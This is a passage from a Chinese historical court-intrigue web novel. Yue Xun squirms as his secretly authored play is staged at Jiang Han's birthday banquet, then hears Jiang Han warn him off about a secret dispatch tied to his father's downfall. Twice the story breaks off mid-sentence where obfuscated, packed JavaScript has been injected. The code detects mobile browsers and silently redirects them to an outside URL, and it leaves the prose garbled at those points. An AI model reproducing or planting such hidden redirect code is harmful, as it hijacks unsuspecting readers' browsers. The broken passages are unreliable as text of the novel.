前些天还是庆国公府死了亲娘的不受宠大儿子,转头竟然烧上了温杳这个热灶,那姜含这个一直悬而未决的“庆国公世子”之位也要指日可待了吧? 岳旬打量着周围几位贵女若有所思的神情,暗地里一挑眉——若姜含果真要借着这个机会议亲,估摸着也要比从前容易。 温杳又说了几句场面话,流水席便热热闹闹吃了起来。岳旬尽量缩在角落里,避免又让宁王他老人家逮住,只竖着两个耳朵听。 姜含同温杳喝了几杯,状似不经意地开了口:“远归,先前我送你那翡翠扳指,怎不见戴着?” 翡翠扳指?岳旬忽地回想起来,当时那瓷人同他在荒郊野岭大吵一架,完了魏广送他两只兔子。当时魏广背着弓,拇指上好像是带着个水头极好的翡翠扳指来着。 当时他浑身的血都冲在脑门上,根本没留意那个扳指。现在回想起来,魏广不过是个亲卫,戴那种品相的翡翠扳指,好似确实有些太逾制了。 果然,当岳旬再去偷眼看魏广的时候,他脸上闪过了一丝难以捕捉的古怪神色。 温杳倒是面色如常,摩挲了一下自己的拇指:“不拉弓戴什么扳指呢?静川送的,自然好好收着了。” “不拉弓自然也戴得。”姜含还是那副笑吟吟的神情,眼神就随着温杳摩挲手指的动作往他手上看去,“那翡翠颜色好,单是戴着赏玩也是好看的。” 温杳就张手对着阳光看了看,笑得越发像个批美人皮的恶鬼:“也是。那扳指的颜色,衬人。” 当他把“衬人”两个字咬在嘴里的时候,岳旬总觉得他好似往下瞥了一眼,看见了自己。 岳旬赶忙想把自己掩在姜令和陆明烟的身后,可那句“衬人”却萦绕在他耳畔久久不能散去。他一晃神就好像真看见温杳拇指上戴着个翠色欲滴的翡翠扳指,冰一样透,翠盈盈的颜色衬得那只手越发白瓷霜雪一般。 越是鲜艳欲滴的颜色,就越是衬他。 不拉弓不捉刀也罢,确实就单是赏玩也是好的…… 岳旬恍恍惚惚,眼神挪到了温杳勾起的嘴角,眉头拧了起来。 这表兄弟两个,说话暧暧昧昧,笑得也古古怪怪——宁王殿下只怕有点龙阳之好,你们两个这样,之间是不是有什么事! 21. 第二十一章:如芒在背 岳旬感到十分痛心。 龙阳就龙阳吧,他岳旬自幼在稗官野史间纵横捭阖,都说脏唐臭汉,书读多了什么没见过。但是就算如此……那也应该忠贞些不是? 既然已经同旁人有了情谊,那就不要拿那种欲说还休的态度来对待我啊! 算了。 温杳乃是金尊玉贵的宁王殿下,就算他三妻四妾,再搞他十个八个面首同自己也没关系。但是,但是既然如此,他就不应当…… 岳旬后槽牙都快咬碎了,也把“勾引”两个字说不出口。 他二人之间有杀父之仇横亘其中,就算岳旬愿意为报父仇与温杳虚与委蛇、忍辱负重,那也不代表他会委身于他! 哪怕他是宁王也不行! 岳旬一拳愤然捶在桌上,摆着的碗碟就齐齐跳了一跳,乒铃乓啷作响。旁边坐着正在咬耳朵的姜令和陆明烟一齐转过头来,莫名其妙惊恐万状盯着他看。 光看见岳旬一脸“不堪折辱”的神情。 陆明烟默默把碟子往里推了推,郑重其事又开了口:“确实没有不同你讲话的意思,只是我的事还没有说完。” “谢谢你,明烟儿。”岳旬两手捂住脸,他现在算是没脸见这两口子了,“但我也不是为了这个。” 那两口子不知道岳旬到底又发什么癫,无从安慰,只好把手边的果子往他跟前推了一碟:“那多吃点。” 岳旬自然也说不出旁的,只能点头,瞧着竟然有些莫名的悲痛。 底下这几个小的热闹着,上首坐着的寿星和宁王殿下也有一搭没一搭聊着天,话题不知怎么转了几个弯,冷不丁点了姜令的名字:“静川,你家弟弟今年是不是也该有十六了?听闻一直读着书呢,今日来了没有?” 不管庆国公怎么样,姜家兄弟两个关系倒还不错,面对老爹时颇有种同仇敌忾的感觉。听闻温杳提起姜令,姜含自然也是高兴的:“来了,可不就在下头坐着呢。令哥儿过来,给宁王殿下瞧瞧。” 温杳顺着姜含的视线看过去,只见底下三个半大孩子凑成一堆,惊了兔子一样支棱起耳朵,神色各异。姜令没同温杳相处过,忽然被点了名字,面上有种上课时让先生点名的紧张;陆明烟倒是神色如常,直起身冲着温杳行礼。 至于岳旬……那小崽子不知又发什么癫,两手掩面,看起来好似早已死了多时。 岳旬眼睛闭了闭。 这一下子避无可避,果真让温杳瞧见他了。 温杳好似刚发现他一般,眉毛一挑,露出些愉悦的神色。可他的视线竟然只在岳旬身上蜻蜓点水一样流连了片刻,也并未张嘴喊人,反而转脸看向姜令的另一侧:“陆小将军也在呢?” 陆明烟大大方方站起身来,拉着姜令俯身同温杳行礼,悄声在他耳边道:“过去吧,我陪你一起。” 姜令微微偏头,给岳旬递了个眼色,颇有询问之意。 岳旬陆明烟两人都同他摇了摇头。 岳旬身份尴尬,若只是坐在这里悄无声息地吃饭,那旁人未必知晓他是谁。可若是宁王他老人家心血来潮点破了岳旬身份,那还不知要闹出什么事端。 宁王给姜令面子是因着姜含,给陆明烟面子是因为她有救驾之功。 他岳旬有什么?还是实在不必在这种时候硬去沾他俩的光了。 眼神交换之间,不知姜令明白没有,总归他不再犹豫,和陆明烟相携着走了过去。 温杳懒懒倚着,随口考问了姜令几句,眼神不知在往哪瞥。只有岳旬能感觉到一股视线一直钉在他身上,如芒在背。 既然如此,那还何必再躲。岳旬撤下脸上的手,端起桌上酒杯,目露凶光,隔空回敬了他一下——等有机会就毒死你哈! 温杳果然微微露出些诧异。 岳旬十分满意,于是学着温杳皮笑肉不笑时的模样,也扯扯嘴角假笑。 温杳眉尖蹙了起来,半是无奈半是好笑地轻笑一声,手指弹动两下,已经摸到了杯壁上。他摩挲了两下酒杯光滑的外壁,最终还是搁下手,继续考问姜令。 姜二爷没同宁王这般讲过话,可毕竟学得还算扎实,不假思索,便答得十分妥帖,引得温杳连连点头: “早听你大哥说,你是个读书的料子,今日一见果真是如此。你大哥自谦,只说姜家世代都是行伍的粗人,难得出你这么一位钟灵毓秀的哥儿,若没有好老师教岂能行?我便留心回宫里问了一下礼部,果然你们庆国公府是有祖荫的名额进国子监念书的。” 姜令一听,眼睛都亮了。 “从前姜家的孩子都是念武学,还没出过监生呢。”瓷人一看姜令高兴,也跟着高兴,语气甚至都略显轻快,“姜家难得出一位监生,可要读出个名堂来,再得个一二功名的,好给那帮不争气的勋爵子弟都瞧瞧。” 姜令喜不自胜,连连躬身道谢。 “到时你身上有了功名,陆小将军也有军功傍身,待到你二人成亲本王必备一份大礼相贺。”说罢,温杳又用手指摩挲着酒杯杯壁,同旁边的姜含连连赞叹,“真好,果真是一对儿璧人。” 姜含赶紧一扯弟弟:“还不快谢过王爷!” 姜令再不长心眼也是勋贵人家出身,寻常的礼数还是懂的,立即明白自家兄长的意思是要他“行大礼”,于是立即跪下给温杳磕了头。 天子年幼,宁王才是大胤真正的太阳。如今太阳朗照何处,人心便趋向何处。有温杳这么几句话,便起码能保庆国公府与宣平侯府一代的荣光,让一众勋贵子弟好生艳羡——怎么自己当初就没能多与这位不起眼的十二皇子多多结交呢? 谁知道冷灶也有变成热灶的一天啊! 几番寒暄,众人也落座举箸,流水席对面的巨大戏台上锣鼓铿锵,一场好戏终于要拉开帷幕。 姜含今日请的这戏班子是新得的,正新鲜着。他指点着戏台,献宝似的同温杳道:“远归有所不知,今日这是一出新戏,戏班也不是咱们从前常听的那几个。这新戏自民间传开,一开始只有这个戏班子能演,我费了不少功夫才将他们今日请来。” 姜含既这么说,温杳自然摆出一副很感兴趣的态度,冲着戏台一扬下巴,只待开场。 岳旬刚和温杳在暗中眼神打了个来回,听姜含说新戏,忽然觉得背后毛毛的。分明是玩乐的事,可他总有种不祥的预感——新戏?什么新戏? 锣鼓响了三通,那正旦一甩水袖,娉娉袅袅登了场:“春波皱晴光潋滟,忽见那柳影间沉浮片片。” 这正旦出场开口那一刻,岳旬整个人如遭雷击,仿佛被这几句唱词当场劈成了齑粉,一寸一寸断裂在地。宴席之上,不好直接如土委地,岳旬只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163805|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑着不动,连大气都不敢喘。 熟悉的戏班子、熟悉的扮相、熟悉的宫调、熟悉的唱词。 什么新戏!这不就是《响翠传》! 他一向觉得自己是个能为了活着不大要脸面的人物,这话本戏本无论在薛家怎样搬演,他从没觉得有什么。什么尴尬、什么难堪,通通没有那千字五两要紧。为了便于演员出演,调整词句时岳旬甚至自己扮上亲自唱过,不止唱过薛瑜,甚至有时还唱响翠。 可他从来没有在薛家以外的地方买过自己写的话本、听过自己改的戏,手上余下基本还是薛琮拿去印好送给他的样刊。 不为旁的,他写《响翠传》署的乃是“清风逋客”的名,同他岳旬什么相干!正经读书人谁会光明正大去看这样讲儿女情的风月话本,不都是私下里看。 让他亲自在席面上看《响翠传》,同当初薛琮让仆从当众念话本又有什么分别! 薛琮在书库中让仆从当众念话本时,岳旬只觉得同情,可到了今日,他才真正体会到什么叫生不如死,什么叫如坐针毡! 迟来的感同身受没有丝毫用处,岳旬只觉得是那日他冷眼旁观导致今日遭了天谴。 更何况他这本《响翠传》中还有个欺男霸女的王爷!虽说戏本中这样的人物不算少见,他写得又隐晦,一般看不出来那王爷隐射的就是如今大胤的第二个太阳——不然那姜含是来找死的吗? 可温杳本就喜怒无常,心思难以揣摩,谁知他听完究竟什么想法。总归,台上的响翠薛瑜还没唱几句,岳旬屁股上就好似长了刺,实在坐不住了。 他赶紧扒拉了两口饭菜,先把自己肚子填饱,想着逮着机会赶紧开溜,就算是在园中乱逛也比现在这样好啊! 刚塞了一嘴饭,身边的姜令忽然跟陆明烟换了位置,小姑娘一本正经看着他往嘴里扒饭:“我同姜令的话讲完了,现在该同你讲。” 岳旬嘴里塞着饭,呜呜噜噜说不清话,只能点头。 “过几日我要去江北——庐州府。”陆明烟脸上依旧淡淡的,没什么太多表情,倒是岳旬惊讶之后一片了然,他算是知道为何方才姜令脸色不大好看了。 “女子袭爵,大胤自开国以来从未有过,单凭宁王一个人和我身上那点救驾之功是拗不过朝堂上那群老头子的,我必须得用实打实的军功堆上去。原先我父亲所领西北军如今便镇守在庐州府,都念着我父亲大哥几分薄面,我去暂领,应不算多么艰难的事。” “所以你不必太为我担忧,等去了我自有一番道理。”堪堪十五岁的宣平侯之女,提及这样的大事,眼中竟无一点忧虑,坚定而坦然,“若我去军中打探到任何有关辽东军的消息,必先写信来报你。我知你度日艰难,但我要说的这件事却只能拜托给你——父母亲眷皆不在,我朋友不多,但旬哥儿你一定算一个。” “姜令遇事能想一想二却想不到三,还需得你帮我多看顾些。” 这样郑重,岳旬自然满口答应:“我是做兄长的人,自当对他多加照顾。” 谁知陆明烟竟然还要站起身来,同他道谢,岳旬立刻站起身忙道不敢。 陆明烟朝他一拱手:“不止是要谢你,你先别忙着坐下。” 言罢她伸出手来在岳旬和自己之间虚空一比划,露出一些满意的神色:“我确实是长高了不少!” 22. 第二十二章:搏髀而歌 几经折磨,岳旬终于在以他自己为原型的那个书生出场之前,逃离了这个恐怖的地方。 他同姜令一起前来,不好丢下他一人离去。姜二爷是打算一直陪他大哥过生辰,今晚在园中住下,那岳旬便也只好一直待着。 他琢磨着等在外面乱晃到《响翠传》唱完,再回席面上,也算不上是丢下姜令不管。陆明烟不日就要启程去庐州,姜令同她多讲几句话还来不及呢,估计也没工夫管自己到底在何处。 姜含邀请来的人都在席面上,于是岳旬便独自一人乱逛,一人射箭、一人投壶。人前的时候,岳旬总觉得自己已经是个大人了,尤其是在姜令陆明烟面前,得端出个成熟的兄长架子。 可如今左右无人,又见着自己先前没玩上的秋千,终于忍不住露了点孩子心性,来来回回荡了许多遍。 秋千上站高望远,依次升高时能看见园中鳞次栉比的房屋,荡至最高处,最远能看见园中留给贵人们更衣的小屋。岳旬便以此为标准,荡得极高,回回都要以看见那小屋为最好。 他在心里给自己计数,觉得怎么也要荡够一百次才算玩够。 一次,那小屋空空如也,四周不见人。 两次,那小屋还是安安静静矗立在那里,偶尔有几个仆从匆匆路过。 三次,几个仆从拥簇着一位贵人进去了。 四次,仆从们皆退了出来,贵人还不见人影。 等等! 岳旬忽然止住了大力摇荡秋千的力气——他方才看见进去那人的衣衫十分眼熟,好似是姜含? 就是姜含。 虽说今日发生了不少事,但岳旬好歹不曾忘记他非跟着姜令来这么一遭是为的什么,立即轻轻巧巧从秋千上一跃而下。 从秋千到更衣的小屋几步路间,岳旬心下一动,已然计上心来。 他支楞八叉往台阶上一坐,大声搏髀而歌:“带长剑兮挟秦弓,首身离兮心不惩。诚既勇兮又以武,终刚强兮不可凌!”① 左右仆从全都回头看他,面上露出些难言的神色,见他唱了两句并无停止之意,只好上来劝解:“小公子,若是吃醉了酒,小的们便端醒酒汤来,园中也有歇息之处。我家主子还在屋中更衣,还请公子莫要大声喧嚷,扰了他人的清静。” 岳旬白了他一眼,并不做理会,还是摆出一副醉醺醺的样子来,撒他的酒疯。 底下人并不知晓岳旬的身份,只知道能来宴会的都是勋贵子弟,轻易得罪不得。故而看着岳旬在这里边拍大腿边唱歌,心中虽然都十分嫌恶,但大都是好言相劝,并没有一个人敢真正赶他走的。 仆从们左右为难间,姜含沉着脸从屋内出来了:“何人在此处喧哗!” 左右仆从支支吾吾,不知该如何同自家主子描述这小癫子在此处作甚。岳旬抬眼看了一眼姜含,依旧大声歌唱,眼见着姜含神色一动,显然是听清了他在唱什么。 “原来是你。”姜含朝前走近几步,站在了岳旬身侧。 岳旬抬眼望去,这是个从下往上的角度,恰好能看到他暗藏在眼神之中的轻蔑。姜含虽说与温杳表哥表弟这样叫着,可他同那瓷人生得竟没有一点相像。这会儿离了温杳,他脸上的笑意也敛了,不笑时嘴角自然向下,俊俏的脸上显出些并非刻意的凶相。 岳旬不好描述那是种什么感觉,只觉得甫一看这种表情苦大仇深的,像是憋屈惯了,可是憋屈里竟然还带着些莫名的冷淡和尖刻。好矛盾一个人。 可他分明听姜令说过,他大哥向来好脾气,挨老爹骂时从来没见过还嘴,待他时也温和。 “先前席上我还同远归说,你竟然都长这么大了,我一时都有些认不出。”他说这话并不是闲暇的寒暄,很快话锋一转,“你长这么大不容易,大可不必一直对某些事耿耿于怀,更不必在这种场合下搏髀而唱战歌,把你的忿忿不平显现出来。你是跟着令哥儿来的吧?你要是想做荒唐事,别牵扯上旁人。” 岳旬一哂,没接他的话。 这几句看似是他这种做兄长的人对弟弟的朋友一个提醒,其实不过是在替温杳说话。或者说得干脆一点,替温杳威胁他。 听这意思,倒像是坐实了他父亲同温杳间确有什么龃龉,如果他一直旧事重提,那温杳真会手起刀落砍下他的项上人头。 姜含看岳旬非但不听劝,反而哂笑起来,不由得有些烦躁。在台阶上负手踱了几步,一挥手屏退了仆从,听起来是当真有些不高兴了:“你揪着这事不放有什么用?我实话告诉你,不说你现在人微言轻,你就算是有什么本事你爹这事也就这样了!” “当初先帝召远归从辽东回京,八百里加急跑回去,后脚北鞑那边便有所动作。孙总兵要趁机夜袭,而此时岳中丞收到了一份密报。这密报岳中丞看后勃然色变,立即焚烧,而后压下了孙老将军的想要出兵的动作。” 岳旬不动声色观察着来回踱步的姜含。温杳前脚回京、后脚辽东兵败这消息是从康王那里得知,和姜含所说并无差别,但那密报是怎么回事? 谁来的密报?必是父亲极其信任的人。 但姜含这前后两句话合起来,总有点“密报从京中来”的意思。 “结果你也知道了,当夜辽东军并未出兵,错失先机一败再败。此事说破大天去,就算没有所谓的‘通敌叛国’,那也是你爹同孙总兵‘文武不和,耽误军机’!你能保下命来已然是最好的结果了,不要再于此事上过多纠缠。” “远归为推行新政,不管是推行隆靖宝钞还是整合军队,已然处处为难,你若再在此处上纠缠不清……。”姜含摆足了兄长姿态,好一副苦口婆心规劝的模样,“你若真将他惹恼了,自身难保不说,搞不好还要拖你身边人下水!” 他这个身边人自然是指姜令。 话听到这里,岳旬不得不回他一句了。他一路听着,表情从“顽固不化”到“稍有动容”再到“大彻大悟”,做戏做了十足:“多谢兄长提醒,岳旬明白了。” 见他松口,一脸被说服的样子,姜含终于松了口气,颔首离去:“你知道就好——别四处乱逛了,回席面上去吧,今天的事我就当没看见。” 好一副苦口婆心的兄长模样,不但替温杳说话,还替自己同姜令考虑,可岳旬仔细想来,却总觉得有些不对。 姜含看似是在替温杳说话,要岳旬“别多纠缠”,可语言中透露出的意思不过是“你再过多纠缠宁王就要将你杀掉”——宁王为何杀他?为何不叫他探查真相,左不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163806|196606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为自己心里有鬼。 这不就坐实了是温杳设计陷害他父亲,以至于辽东兵败吗? 温杳对此事上的态度一直是含含糊糊,可你姜含竟然就这么帮他承认了! 除夕夜温杳才借着康王唱了一出大戏,在藩王宗亲、六部堂官面前好好摆出一副忠公体国、清白忠贞,从不曾陷害忠良的面孔,结果姜含背后就拆他的台? 这是替他说话吗? 若自己是个蠢笨的,听不出来倒罢了,可他偏偏让自己听出他话里有话,究竟是何意? 岳旬忽然想起那枚姜含很在意的翡翠扳指,如果他没猜错,温杳把这扳指转手就送给了魏广。 不管是翡翠扳指、还是今日姜含这番话,都表明这两人之间的关系必然没有表面上看起来那么简单。既如此,姜含的话究竟有几分可信就耐人寻味了。 不过好在他也不算一无所获,他起码知晓了兵败之前他爹曾经收到过一封密报。辽东兵败,他爹死在任上,死后名声却不得保全,来源皆是这份“阅后即焚”的密报。 岳旬虽然离去,但却没有立即返回宴席,反而依旧在院中缓慢闲逛,脑子里一直琢磨着姜含说的几句话。他只知道闷头走路,脑中想着事,没顾得上观察四周,只隐约知晓自己走到了个临水的亭边。 “哎哟,可算是走到了。”忽而有个声音,带着几分醉意和调笑,满不在乎同他开着玩笑,“老远就瞧见你了,半天晃晃悠悠就走了那么一点路。” 岳旬一个激灵抬起头,刚好看见说话的瓷人抬手,用两根手指比了一个“一点”的距离,抽着肩膀哈哈地笑:“我还当等你走过来天都黑了呢!” 宁王殿下没带魏广,独自一人坐在亭中石凳上,懒洋洋撑开肘子倚着石桌,手边搁着一盘红艳艳的樱桃。他一手拎着个酒壶,也不用杯子,举起酒壶就往口中灌了两口,脸上醉意已然显了五六分。 原是个白瓷做的人,如今白瓷上却好似新上了一层胭脂红的釉。 岳旬心中一惊,“老远就瞧见了”,那他同姜含说话时,是不是也听见了?可他面上依旧四平八稳的,稳步上了台阶,坐在了温杳身旁的石凳上:“姜家大爷特地为了皇叔备下新鲜戏听,皇叔何故离了席?” “那戏有什么好看!”温杳大约是真醉了,手一挥拍在桌面上,“什么新戏,左不过是些才子佳人帝王将相,有什么趣儿!” 这不懂欣赏的混账!《响翠传》有什么不好! 岳旬咬紧了后槽牙,虽未饮酒壮胆,可却莫名来了火气:“都不曾听两句,刚看了开头便说讲的没意思,是否有些太偏颇了?” “诶?”温杳眯着一双醉眼,又是一阵笑,“若是有趣,那你偷跑出来做什么?为何不留在席间听戏?” 岳旬当场被戳了肺管子,一句话也说不出——他当然不是觉得无趣才离席的,但他不能说啊! “倒不如,你陪我在此处小酌几杯有意思……”温杳眯着一双凤眼,勾人似的看着他。 你、陪、我。 这三个字拧住了岳旬的心肺脾胃,让他一阵一阵地往外泛酸——他又想起温杳同姜含那什么扳指不扳指的了。 “皇叔,你是同所有人都这般讲话吗?”